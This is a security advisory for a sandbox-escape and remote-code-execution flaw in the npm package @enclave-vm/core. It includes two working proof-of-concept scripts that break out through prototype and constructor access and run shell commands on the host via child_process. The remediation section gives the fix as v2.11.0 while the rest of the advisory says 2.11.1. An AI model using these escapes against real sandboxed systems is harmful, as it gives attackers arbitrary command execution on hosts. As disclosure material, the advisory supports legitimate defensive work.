GHSA-f229-3862-4942 @enclave-vm/core is vulnerable to Sandbox Escape

• npm @enclave-vm/core: < 2.11.1 → fixed in 2.11.1

Summary It is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1. --- Details It is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox. When a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor. When this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`). --- Proof of Concept PoC 1 ```js const { Enclave } = require("@enclave-vm/core"); const enclave = new Enclave({ securityLevel: "SECURE", toolHandler: () => {}, }); const result = enclave.run(` const op = {}[["__proto__"]]; const ho = op[["constructor"]]; const glob = ho.getOwnPropertyDescriptors(this); return { res: glob.__host_memory_track__.value[["constructor"]]("return process")() .getBuiltinModule("child_process") .execSync("id") .toString() .split("\\n"), };`); result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e)); ``` --- PoC 2 ```js const { Enclave } = require("@enclave-vm/core"); const enclave = new Enclave({ securityLevel: "STRICT", toolHandler: () => {}, memoryLimit: 0, }); const result = enclave.run(` const op = {}[['__proto__']]; const ho = op[['constructor']]; const glob = ho.getOwnPropertyDescriptors(this); const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom'); let result; const obj = { [sym]: (depth, option, inspect) => { result = inspect[['constructor']] [['constructor']]('return process')() .getBuiltinModule('child_process') .execSync('id') .toString(); }, }; glob.__safe_console.value.log(obj); return { result } `); result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e)); ``` --- Impact This vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system. This constitutes Remote Code Execution (RCE) and should be considered Critical severity. --- Remediation The issue has been fixed in v2.11.0 with the following hardening measures: • Strengthened intrinsic object isolation • Improved console isolation • Hardened host callback exposure paths • Closed AST validation gaps • Added additional defensive checks around constructor access and prototype traversal All known escape paths demonstrated in the PoCs are now blocked. Users are strongly advised to upgrade to v2.11.1 or later immediately. --- Credit Enclave would like to thank @c0rydoras for responsibly reporting this issue and for providing detailed proof-of-concept examples.